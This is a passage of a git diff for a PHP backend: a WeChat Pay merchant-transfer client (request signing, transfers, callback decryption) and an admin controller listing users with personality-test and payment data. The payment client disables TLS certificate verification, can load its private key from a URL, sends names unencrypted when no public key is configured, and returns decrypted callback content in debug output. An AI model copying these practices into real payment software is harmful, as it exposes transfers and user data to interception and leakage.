!empty($resource['nonce']); - $debug['has_associated_data'] = isset($resource['associated_data']); - return ['_debug' => $debug, 'result' => null]; - } - - // 2. 检查加密算法 - $algorithm = $resource['algorithm'] ?? ''; - $debug['step'] = '2.检查加密算法'; - $debug['algorithm'] = $algorithm; - - if ($algorithm !== 'AEAD_AES_256_GCM') { - $debug['error'] = '不支持的加密算法'; - return ['_debug' => $debug, 'result' => null]; - } - - // 3. 检查APIv3密钥长度(必须是32字节) - $debug['step'] = '3.检查APIv3密钥'; - $debug['api_v3_key_length'] = strlen($this->apiV3Key); - - if (strlen($this->apiV3Key) !== 32) { - $debug['error'] = 'APIv3密钥长度必须为32字节'; - return ['_debug' => $debug, 'result' => null]; - } - - // 4. 准备解密参数(按照官方文档) - $debug['step'] = '4.准备解密参数'; - - // Base64解码密文 - $ciphertext = base64_decode($resource['ciphertext']); - $nonce = $resource['nonce']; - $associatedData = $resource['associated_data']; - - $debug['ciphertext_base64_length'] = strlen($resource['ciphertext']); - $debug['ciphertext_decoded_length'] = strlen($ciphertext); - $debug['nonce'] = $nonce; - $debug['nonce_length'] = strlen($nonce); - $debug['associated_data'] = $associatedData; - - // 5. 检查密文长度(必须大于认证标签长度16字节) - $AUTH_TAG_LENGTH = 16; - if (strlen($ciphertext) <= $AUTH_TAG_LENGTH) { - $debug['error'] = '密文长度不足,必须大于' . $AUTH_TAG_LENGTH . '字节'; - return ['_debug' => $debug, 'result' => null]; - } - - // 6. 分离密文和认证标签(按照官方文档) - $debug['step'] = '6.分离密文和认证标签'; - - // 密文主体(去掉最后16字节) - $ctext = substr($ciphertext, 0, -$AUTH_TAG_LENGTH); - // 认证标签(最后16字节) - $authTag = substr($ciphertext, -$AUTH_TAG_LENGTH); - - $debug['ctext_length'] = strlen($ctext); - $debug['authTag_length'] = strlen($authTag); - - // 7. 使用OpenSSL解密(按照官方文档) - $debug['step'] = '7.OpenSSL解密'; - - // PHP >= 7.1 支持 AES-256-GCM - if (PHP_VERSION_ID < 70100) { - $debug['error'] = 'PHP版本必须 >= 7.1'; - $debug['php_version'] = PHP_VERSION; - return ['_debug' => $debug, 'result' => null]; - } - - if (!in_array('aes-256-gcm', openssl_get_cipher_methods())) { - $debug['error'] = 'OpenSSL不支持aes-256-gcm算法'; - return ['_debug' => $debug, 'result' => null]; - } - - // 执行解密(参数顺序按照官方文档) - $decrypted = openssl_decrypt( - $ctext, // 密文主体 - 'aes-256-gcm', // 加密算法 - $this->apiV3Key, // API v3密钥 - OPENSSL_RAW_DATA, // 原始数据 - $nonce, // 随机串 - $authTag, // 认证标签 - $associatedData // 附加数据 - ); - - $debug['step'] = '8.检查解密结果'; - $debug['decrypt_success'] = ($decrypted !== false); - - if ($decrypted === false) { - $debug['error'] = 'openssl_decrypt解密失败'; - $debug['openssl_error'] = openssl_error_string() ?: '无错误信息'; - return ['_debug' => $debug, 'result' => null]; - } - - $debug['decrypted_length'] = strlen($decrypted); - $debug['decrypted_preview'] = substr($decrypted, 0, 200); - - // 8. 解析JSON - $debug['step'] = '9.解析JSON'; - $data = json_decode($decrypted, true); - - if (json_last_error() !== JSON_ERROR_NONE) { - $debug['error'] = 'JSON解析失败'; - $debug['json_error'] = json_last_error_msg(); - $debug['decrypted_full'] = $decrypted; - return ['_debug' => $debug, 'result' => null]; - } - - $debug['success'] = true; - $debug['data_keys'] = array_keys($data); - - return ['_debug' => $debug, 'result' => $data]; - } -} +mchId = env('MCH_ID', ''); + $this->appId = env('WECHAT_APPID', ''); + $this->apiV3Key = env('API_KEY', ''); + $this->certSerialNo= env('CERT_SERIAL_NO', ''); + + if (!$this->mchId || !$this->appId || !$this->apiV3Key || !$this->certSerialNo) { + throw new Exception('微信转账配置不完整,请检查 .env 中的 MCH_ID / WECHAT_APPID / API_KEY / CERT_SERIAL_NO'); + } + + // 私钥:支持本地路径、URL 或直接内容 + $privateKeyConf = env('PRIVATE_KEY', ''); + if ($privateKeyConf) { + if (file_exists($privateKeyConf)) { + $this->privateKey = file_get_contents($privateKeyConf); + } elseif (filter_var($privateKeyConf, FILTER_VALIDATE_URL)) { + $this->privateKey = file_get_contents($privateKeyConf); + if ($this->privateKey === false) { + Log::error('无法从URL加载私钥', ['url' => $privateKeyConf]); + $this->privateKey = ''; + } + } else { + $this->privateKey = $privateKeyConf; + } + } + if (empty($this->privateKey)) { + throw new Exception('商户私钥加载失败,请检查 PRIVATE_KEY 配置'); + } + + // 公钥(可选):用于后续回调验签,支持本地路径、URL 或直接内容 + $publicKeyConf = env('WECHAT_PAY_PUB_KEY', ''); + $this->publicKey = ''; + if ($publicKeyConf) { + if (file_exists($publicKeyConf)) { + $this->publicKey = file_get_contents($publicKeyConf); + } elseif (filter_var($publicKeyConf, FILTER_VALIDATE_URL)) { + $this->publicKey = file_get_contents($publicKeyConf); + if ($this->publicKey === false) { + Log::error('无法从URL加载公钥', ['url' => $publicKeyConf]); + $this->publicKey = ''; + } + } else { + $this->publicKey = $publicKeyConf; + } + } + } + + /** + * 发起转账 + * @param array $params 转账参数 + * - out_bill_no: 商户单号(必填) + * - openid: 收款用户OpenID(必填) + * - transfer_amount: 转账金额,单位:分(必填) + * - transfer_remark: 转账备注(必填) + * - transfer_scene_id: 转账场景ID(必填,如:1000现金营销,1006企业报销) + * - user_name: 收款用户姓名(选填,>=2000元必填) + * - transfer_scene_report_infos: 转账场景报备信息(必填) + * - notify_url: 通知地址(选填) + * - user_recv_perception: 用户收款感知(选填) + * @return array + */ + public function createTransfer($params) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills'; + + // 构建请求体 + $body = [ + 'appid' => $this->appId, + 'out_bill_no' => $params['out_bill_no'], + 'transfer_scene_id' => $params['transfer_scene_id'], + 'openid' => $params['openid'], + 'transfer_amount' => intval($params['transfer_amount']), + 'transfer_remark' => $params['transfer_remark'], + // 场景报备信息(必填):岗位类型 + 报酬说明 + 'transfer_scene_report_infos' => $params['transfer_scene_report_infos'] ?? [], + ]; + + // 可选参数 + if (isset($params['user_name']) && !empty($params['user_name'])) { + // 需要加密 + $body['user_name'] = $this->encryptSensitiveData($params['user_name']); + } + + if (isset($params['notify_url']) && !empty($params['notify_url'])) { + $body['notify_url'] = $params['notify_url']; + } + + // user_recv_perception 暂不传,避免 INVALID_REQUEST:“暂不支持展示当前传入的用户收款感知” + + $result = $this->request('POST', $url, $body); + + return $result; + } + + /** + * 查询转账单(通过商户单号) + * @param string $outBillNo 商户单号 + * @return array + */ + public function queryByOutBillNo($outBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/' . $outBillNo; + return $this->request('GET', $url); + } + + /** + * 查询转账单(通过微信单号) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716457 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function queryByTransferBillNo($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/' . $transferBillNo; + return $this->request('GET', $url); + } + + /** + * 撤销转账 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function cancelTransfer($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/' . $transferBillNo . '/cancel'; + return $this->request('POST', $url); + } + + /** + * 发送HTTP请求 + * @param string $method 请求方法 + * @param string $url 请求URL + * @param array $body 请求体(POST时使用) + * @return array + */ + private function request($method, $url, $body = []) + { + $timestamp = time(); + $nonce = $this->generateNonce(); + $bodyStr = !empty($body) ? json_encode($body, JSON_UNESCAPED_UNICODE) : ''; + + // 构建签名 + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $bodyStr); + + // 构建请求头 + $headers = [ + 'Content-Type: application/json', + 'Accept: application/json', + 'User-Agent: WechatPay-APIv3-PHP', + 'Authorization: ' . $this->buildAuthorization($method, $url, $timestamp, $nonce, $bodyStr), + ]; + + // 如果有证书序列号,添加到请求头 + if (!empty($this->certSerialNo)) { + $headers[] = 'Wechatpay-Serial: ' . $this->certSerialNo; + } + + // 发送请求 + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + + if ($method === 'POST') { + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); + } + + $response = curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + $error = curl_error($ch); + curl_close($ch); + + if ($error) { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付请求失败: ' . $error); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'error' => ['code' => 'CURL_ERROR', 'message' => $error]]; + } + + $result = json_decode($response, true); + + if ($httpCode === 200) { + return ['success' => true, 'data' => $result]; + } else { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付API错误: HTTP ' . $httpCode . ', Response: ' . $response); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'http_code' => $httpCode, 'error' => $result]; + } + } + + /** + * 构建签名 + * @param string $method 请求方法 + * @param string $url 请求URL(不包含域名) + * @param int $timestamp 时间戳 + * @param string $nonce 随机字符串 + * @param string $body 请求体 + * @return string + */ + private function buildSignature($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $message = $method . "\n" . + $urlPath . "\n" . + $timestamp . "\n" . + $nonce . "\n" . + $body . "\n"; + + openssl_sign($message, $signature, $this->privateKey, OPENSSL_ALGO_SHA256); + return base64_encode($signature); + } + + /** + * 构建Authorization头 + * @param string $method + * @param string $url + * @param int $timestamp + * @param string $nonce + * @param string $body + * @return string + */ + private function buildAuthorization($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $body); + + // 获取证书序列号(从私钥中提取,这里简化处理,实际应该从证书中获取) + $serialNo = $this->certSerialNo ?: 'YOUR_CERT_SERIAL_NO'; + + return sprintf( + 'WECHATPAY2-SHA256-RSA2048 mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', + $this->mchId, + $nonce, + $timestamp, + $serialNo, + $signature + ); + } + + /** + * 加密敏感信息(使用微信支付公钥加密) + * @param string $data 待加密数据 + * @return string base64编码的加密数据 + */ + private function encryptSensitiveData($data) + { + // 注意:这里需要使用微信支付平台证书公钥加密 + // 简化实现,实际应该使用微信支付平台证书 + if (empty($this->publicKey)) { + // 如果没有配置公钥,返回原数据(实际生产环境必须加密) + Log::warning('未配置微信支付公钥,敏感数据未加密'); + return $data; + } + + $encrypted = ''; + if (openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_OAEP_PADDING)) { + return base64_encode($encrypted); + } + + Log::error('敏感数据加密失败'); + return $data; + } + + /** + * 生成随机字符串 + * @param int $length 长度 + * @return string + */ + private function generateNonce($length = 32) + { + return bin2hex(random_bytes($length / 2)); + } + + /** + * 验证回调签名 + * @param array $headers 请求头 + * @param string $body 请求体 + * @return bool + */ + public function verifyCallback($headers, $body) + { + if (empty($this->publicKey)) { + // 不记录日志,避免日志错误 + return false; + } + + // 从请求头中提取签名信息(注意:HTTP头中的下划线会被转换为中划线) + $signature = $headers['Wechatpay-Signature'] ?? $headers['wechatpay-signature'] ?? ''; + $timestamp = $headers['Wechatpay-Timestamp'] ?? $headers['wechatpay-timestamp'] ?? ''; + $nonce = $headers['Wechatpay-Nonce'] ?? $headers['wechatpay-nonce'] ?? ''; + $serial = $headers['Wechatpay-Serial'] ?? $headers['wechatpay-serial'] ?? ''; + + if (empty($signature) || empty($timestamp) || empty($nonce) || empty($serial)) { + // 不记录日志,避免日志错误 + return false; + } + + // 构建验证消息(按照微信支付文档格式) + $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n"; + + // 验证签名 + $signatureData = base64_decode($signature); + $result = openssl_verify($message, $signatureData, $this->publicKey, OPENSSL_ALGO_SHA256); + + if ($result === 1) { + return true; + } else { + // 不记录日志,避免日志错误 + return false; + } + } + + /** + * 解密回调通知中的resource数据 + * @param array $resource 回调通知中的resource对象 + * @return array|null 解密后的数据,失败返回null + */ + /** + * 解密回调报文(按照官方文档实现) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012071382 + * + * @param array $resource 加密的资源对象 + * @return array|null 解密后的数据 + */ + public function decryptCallbackResource($resource) + { + // 调试信息 + $debug = []; + $debug['step'] = '1.检查输入参数'; + + // 1. 检查必要参数 + if (empty($resource['ciphertext']) || empty($resource['nonce']) || !isset($resource['associated_data'])) { + $debug['error'] = '缺少必要参数'; + $debug['has_ciphertext'] = !empty($resource['ciphertext']); + $debug['has_nonce'] = !empty($resource['nonce']); + $debug['has_associated_data'] = isset($resource['associated_data']); + return ['_debug' => $debug, 'result' => null]; + } + + // 2. 检查加密算法 + $algorithm = $resource['algorithm'] ?? ''; + $debug['step'] = '2.检查加密算法'; + $debug['algorithm'] = $algorithm; + + if ($algorithm !== 'AEAD_AES_256_GCM') { + $debug['error'] = '不支持的加密算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 3. 检查APIv3密钥长度(必须是32字节) + $debug['step'] = '3.检查APIv3密钥'; + $debug['api_v3_key_length'] = strlen($this->apiV3Key); + + if (strlen($this->apiV3Key) !== 32) { + $debug['error'] = 'APIv3密钥长度必须为32字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 4. 准备解密参数(按照官方文档) + $debug['step'] = '4.准备解密参数'; + + // Base64解码密文 + $ciphertext = base64_decode($resource['ciphertext']); + $nonce = $resource['nonce']; + $associatedData = $resource['associated_data']; + + $debug['ciphertext_base64_length'] = strlen($resource['ciphertext']); + $debug['ciphertext_decoded_length'] = strlen($ciphertext); + $debug['nonce'] = $nonce; + $debug['nonce_length'] = strlen($nonce); + $debug['associated_data'] = $associatedData; + + // 5. 检查密文长度(必须大于认证标签长度16字节) + $AUTH_TAG_LENGTH = 16; + if (strlen($ciphertext) <= $AUTH_TAG_LENGTH) { + $debug['error'] = '密文长度不足,必须大于' . $AUTH_TAG_LENGTH . '字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 6. 分离密文和认证标签(按照官方文档) + $debug['step'] = '6.分离密文和认证标签'; + + // 密文主体(去掉最后16字节) + $ctext = substr($ciphertext, 0, -$AUTH_TAG_LENGTH); + // 认证标签(最后16字节) + $authTag = substr($ciphertext, -$AUTH_TAG_LENGTH); + + $debug['ctext_length'] = strlen($ctext); + $debug['authTag_length'] = strlen($authTag); + + // 7. 使用OpenSSL解密(按照官方文档) + $debug['step'] = '7.OpenSSL解密'; + + // PHP >= 7.1 支持 AES-256-GCM + if (PHP_VERSION_ID < 70100) { + $debug['error'] = 'PHP版本必须 >= 7.1'; + $debug['php_version'] = PHP_VERSION; + return ['_debug' => $debug, 'result' => null]; + } + + if (!in_array('aes-256-gcm', openssl_get_cipher_methods())) { + $debug['error'] = 'OpenSSL不支持aes-256-gcm算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 执行解密(参数顺序按照官方文档) + $decrypted = openssl_decrypt( + $ctext, // 密文主体 + 'aes-256-gcm', // 加密算法 + $this->apiV3Key, // API v3密钥 + OPENSSL_RAW_DATA, // 原始数据 + $nonce, // 随机串 + $authTag, // 认证标签 + $associatedData // 附加数据 + ); + + $debug['step'] = '8.检查解密结果'; + $debug['decrypt_success'] = ($decrypted !== false); + + if ($decrypted === false) { + $debug['error'] = 'openssl_decrypt解密失败'; + $debug['openssl_error'] = openssl_error_string() ?: '无错误信息'; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['decrypted_length'] = strlen($decrypted); + $debug['decrypted_preview'] = substr($decrypted, 0, 200); + + // 8. 解析JSON + $debug['step'] = '9.解析JSON'; + $data = json_decode($decrypted, true); + + if (json_last_error() !== JSON_ERROR_NONE) { + $debug['error'] = 'JSON解析失败'; + $debug['json_error'] = json_last_error_msg(); + $debug['decrypted_full'] = $decrypted; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['success'] = true; + $debug['data_keys'] = array_keys($data); + + return ['_debug' => $debug, 'result' => $data]; + } +} diff --git a/api/app/controller/admin/AppUser.php b/api/app/controller/admin/AppUser.php index 75f89d1..6a36cc2 100644 --- a/api/app/controller/admin/AppUser.php +++ b/api/app/controller/admin/AppUser.php @@ -1,358 +1,358 @@ -request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - $page = (int) Request::param('page', 1); - $pageSize = (int) Request::param('pageSize', 20); - $pageSize = min(max($pageSize, 1), 100); - $keyword = trim(Request::param('keyword', '')); - - $where = []; - if ($keyword !== '') { - $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; - } - - // admin / enterprise_admin 均只能看本企业数据 - $enterpriseId = $user['enterpriseId'] ?? null; - if (!$enterpriseId) { - // JWT 未含 enterpriseId 时回退查库(兼容旧 token) - $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); - $enterpriseId = $adminRow['enterpriseId'] ?? null; - } - - // 若有企业ID:先从 user_profile 中取出属于本企业的 userId 列表(以画像为主表) - $profileUserIds = []; - if ($enterpriseId) { - $profileUserIds = Db::name('user_profile') - ->where('enterpriseId', $enterpriseId) - ->column('userId'); - $profileUserIds = $profileUserIds ? array_values(array_unique(array_filter($profileUserIds))) : []; - if (empty($profileUserIds)) { - return paginate_response([], 0, $page, $pageSize); - } - } - - // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 - try { - $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); - $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; - } catch (\Throwable $e) { - $dedupIds = Db::name('wechat_users')->column('id'); - $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; - } - if (empty($dedupIds)) { - return paginate_response([], 0, $page, $pageSize); - } - - $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); - // 若从画像表中筛出了当前企业的用户池,则仅保留这些 userId - if (!empty($profileUserIds)) { - $baseQuery->whereIn('id', $profileUserIds); - } - if ($where) { - $baseQuery->where($where); - } - - $total = (int) $baseQuery->count(); - $list = (clone $baseQuery) - ->field('id,nickname,openid,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') - ->order('createdAt', 'desc') - ->page($page, $pageSize) - ->select() - ->toArray(); - - // 为每条用户附加测试统计(test_results.userId 对应 wechat_users.id) - $ids = array_column($list, 'id'); - $testCounts = []; - $lastTestAt = []; - $testTypes = []; // 每个用户最新几条测试类型,用于展示 MBTI/PDP/DISC - $payStats = []; - $enterpriseName = null; - if ($enterpriseId) { - $ent = Db::name('enterprises')->where('id', $enterpriseId)->find(); - $enterpriseName = $ent['name'] ?? ('企业' . $enterpriseId); - } - if (!empty($ids)) { - // 测试统计严格按 test_results.enterpriseId 归属企业过滤 - $trBase = Db::name('test_results')->where('userId', 'in', $ids); - if ($enterpriseId) { - $trBase->where('enterpriseId', $enterpriseId); - } - $counts = (clone $trBase) - ->group('userId') - ->column('COUNT(*) as cnt', 'userId'); - $testCounts = $counts ?: []; - - $lastRows = (clone $trBase) - ->field('id, userId, testType, resultData, createdAt, enterpriseId as testEnterpriseId') - ->order('createdAt', 'desc') - ->select(); - foreach ($lastRows as $row) { - $uid = $row['userId']; - if (!isset($lastTestAt[$uid])) { - $lastTestAt[$uid] = $row['createdAt']; - } - if (!isset($testTypes[$uid])) { - $testTypes[$uid] = []; - } - $testTypes[$uid][] = [ - 'testType' => $row['testType'], - 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), - 'createdAt' => $row['createdAt'], - 'testScope' => !empty($row['testEnterpriseId']) ? 'enterprise' : 'personal', - ]; - } - // 付款统计:user_profile(按当前企业过滤) - try { - $profilesQuery = Db::name('user_profile') - ->where('userId', 'in', $ids); - if ($enterpriseId) { - $profilesQuery->where('enterpriseId', $enterpriseId); - } - $profiles = $profilesQuery - ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') - ->group('userId') - ->select() - ->toArray(); - foreach ($profiles as $p) { - $uid = (int) ($p['userId'] ?? 0); - if ($uid > 0) { - $payStats[$uid] = [ - 'paidOrders' => (int) ($p['paidOrders'] ?? 0), - 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), - ]; - } - } - } catch (\Throwable $e) { - $payStats = []; - } - } - - foreach ($list as &$row) { - $id = $row['id']; - $testsForUser = $testTypes[$id] ?? []; - $row['username'] = $row['nickname'] ?? ('用户' . $id); - $row['testCount'] = (int) ($testCounts[$id] ?? 0); - $row['lastTestAt'] = $lastTestAt[$id] ?? null; - $row['tests'] = $testsForUser; - $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); - $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); - $row['discType'] = $this->extractResultType($testsForUser, 'disc'); - $row['faceType'] = $this->extractResultType($testsForUser, 'face'); - $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); - $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); - $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); - $row['enterprise'] = $enterpriseName !== null ? $enterpriseName : '全部'; - $pay = $payStats[$id] ?? null; - $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; - $row['totalPaidAmount'] = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; - } - - return paginate_response($list, $total, $page, $pageSize); - } - - /** - * 测试用户详情:基本信息 + 测试记录列表 - * GET /api/v1/admin/app-users/:id - */ - public function detail($id) - { - $user = $this->request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { - return error('无权限访问', 403); - } - - // admin / enterprise_admin 均只能查看本企业的用户 - $enterpriseId = $user['enterpriseId'] ?? null; - if (!$enterpriseId) { - $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); - $enterpriseId = $adminRow['enterpriseId'] ?? null; - } - if ($enterpriseId) { - // 使用 user_profile 判断该用户是否属于当前企业(以画像为主表) - $has = Db::name('user_profile') - ->where('userId', $id) - ->where('enterpriseId', $enterpriseId) - ->find(); - if (!$has) { - return error('无权限查看该用户', 403); - } - } - - $row = Db::name('wechat_users')->where('id', $id)->find(); - if (!$row) { - return error('用户不存在', 404); - } - - $data = [ - 'id' => (int) $row['id'], - 'username' => $row['nickname'] ?? ('用户' . $row['id']), - 'nickname' => $row['nickname'] ?? '', - 'avatar' => $row['avatar'] ?? '', - 'phone' => $row['phone'] ?? '', - 'email' => '', - 'gender' => (int) ($row['gender'] ?? 0), - 'country' => $row['country'] ?? '', - 'province' => $row['province'] ?? '', - 'city' => $row['city'] ?? '', - 'status' => (int) ($row['status'] ?? 1), - 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, - 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, - 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, - ]; - - // 测试列表:严格按 test_results.enterpriseId 归属本企业过滤 - $testQuery = Db::name('test_results')->where('userId', $id); - if ($enterpriseId) { - $testQuery->where('enterpriseId', $enterpriseId); - } - $tests = $testQuery - ->field('id, testType, resultData, enterpriseId as testEnterpriseId, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') - ->order('createdAt', 'desc') - ->select() - ->toArray(); - foreach ($tests as &$t) { - $raw = $t['resultData'] ?? ''; - $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); - $t['testScope'] = !empty($t['testEnterpriseId']) ? 'enterprise' : 'personal'; - unset($t['testEnterpriseId']); - } - - $data['testCount'] = count($tests); - $data['testList'] = $tests; - $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); - $data['pdpType'] = $this->extractResultType($tests, 'pdp'); - $data['discType'] = $this->extractResultType($tests, 'disc'); - $data['faceType'] = $this->extractResultType($tests, 'face'); - $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); - $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); - $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); - - return success($data); - } - - /** - * 从测试记录中取出某类型的最近结果(result 可能是 JSON 字符串,取 type 或 result 字段) - */ - private function extractResultType(array $tests, string $type): string - { - $targetType = strtolower($type); - foreach ($tests as $t) { - if (strtolower($t['testType'] ?? '') !== $targetType) { - continue; - } - $result = $t['result'] ?? ''; - if (!is_string($result)) { - continue; - } - $dec = json_decode($result, true); - if (!is_array($dec)) { - return $targetType === 'face' ? '人脸分析' : trim($result); - } - - if ($targetType === 'face') { - return '人脸分析'; - } - - if ($targetType === 'mbti') { - return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); - } - - if ($targetType === 'disc') { - $desc = $dec['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($dec['dominantType'])) { - return (string) $dec['dominantType']; - } - return (string) ($dec['disc'] ?? ''); - } - - if ($targetType === 'pdp') { - $desc = $dec['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($dec['dominantType'])) { - return (string) $dec['dominantType']; - } - return (string) ($dec['pdp'] ?? ''); - } - - return (string) ($dec['type'] ?? $dec['result'] ?? ''); - } - return ''; - } - - /** - * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 - */ - private function extractFaceSubType(array $tests, string $subType): string - { - $target = strtolower($subType); - foreach ($tests as $t) { - if (strtolower($t['testType'] ?? '') !== 'face') { - continue; - } - $result = $t['result'] ?? ''; - if (!is_string($result)) { - continue; - } - $dec = json_decode($result, true); - if (!is_array($dec)) { - continue; - } - - if ($target === 'mbti') { - if (!empty($dec['mbti']['type'])) { - return (string) $dec['mbti']['type']; - } - if (!empty($dec['mbtiType'])) { - return (string) $dec['mbtiType']; - } - } elseif ($target === 'disc') { - if (!empty($dec['disc']['primary'])) { - return (string) $dec['disc']['primary']; - } - if (!empty($dec['disc'])) { - return (string) $dec['disc']; - } - } elseif ($target === 'pdp') { - if (!empty($dec['pdp']['primary'])) { - return (string) $dec['pdp']['primary']; - } - if (!empty($dec['pdp'])) { - return (string) $dec['pdp']; - } - } - } - return ''; - } -} +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + + $where = []; + if ($keyword !== '') { + $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; + } + + // admin / enterprise_admin 均只能看本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + // JWT 未含 enterpriseId 时回退查库(兼容旧 token) + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 若有企业ID:先从 user_profile 中取出属于本企业的 userId 列表(以画像为主表) + $profileUserIds = []; + if ($enterpriseId) { + $profileUserIds = Db::name('user_profile') + ->where('enterpriseId', $enterpriseId) + ->column('userId'); + $profileUserIds = $profileUserIds ? array_values(array_unique(array_filter($profileUserIds))) : []; + if (empty($profileUserIds)) { + return paginate_response([], 0, $page, $pageSize); + } + } + + // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 + try { + $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } catch (\Throwable $e) { + $dedupIds = Db::name('wechat_users')->column('id'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } + if (empty($dedupIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); + // 若从画像表中筛出了当前企业的用户池,则仅保留这些 userId + if (!empty($profileUserIds)) { + $baseQuery->whereIn('id', $profileUserIds); + } + if ($where) { + $baseQuery->where($where); + } + + $total = (int) $baseQuery->count(); + $list = (clone $baseQuery) + ->field('id,nickname,openid,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 为每条用户附加测试统计(test_results.userId 对应 wechat_users.id) + $ids = array_column($list, 'id'); + $testCounts = []; + $lastTestAt = []; + $testTypes = []; // 每个用户最新几条测试类型,用于展示 MBTI/PDP/DISC + $payStats = []; + $enterpriseName = null; + if ($enterpriseId) { + $ent = Db::name('enterprises')->where('id', $enterpriseId)->find(); + $enterpriseName = $ent['name'] ?? ('企业' . $enterpriseId); + } + if (!empty($ids)) { + // 测试统计严格按 test_results.enterpriseId 归属企业过滤 + $trBase = Db::name('test_results')->where('userId', 'in', $ids); + if ($enterpriseId) { + $trBase->where('enterpriseId', $enterpriseId); + } + $counts = (clone 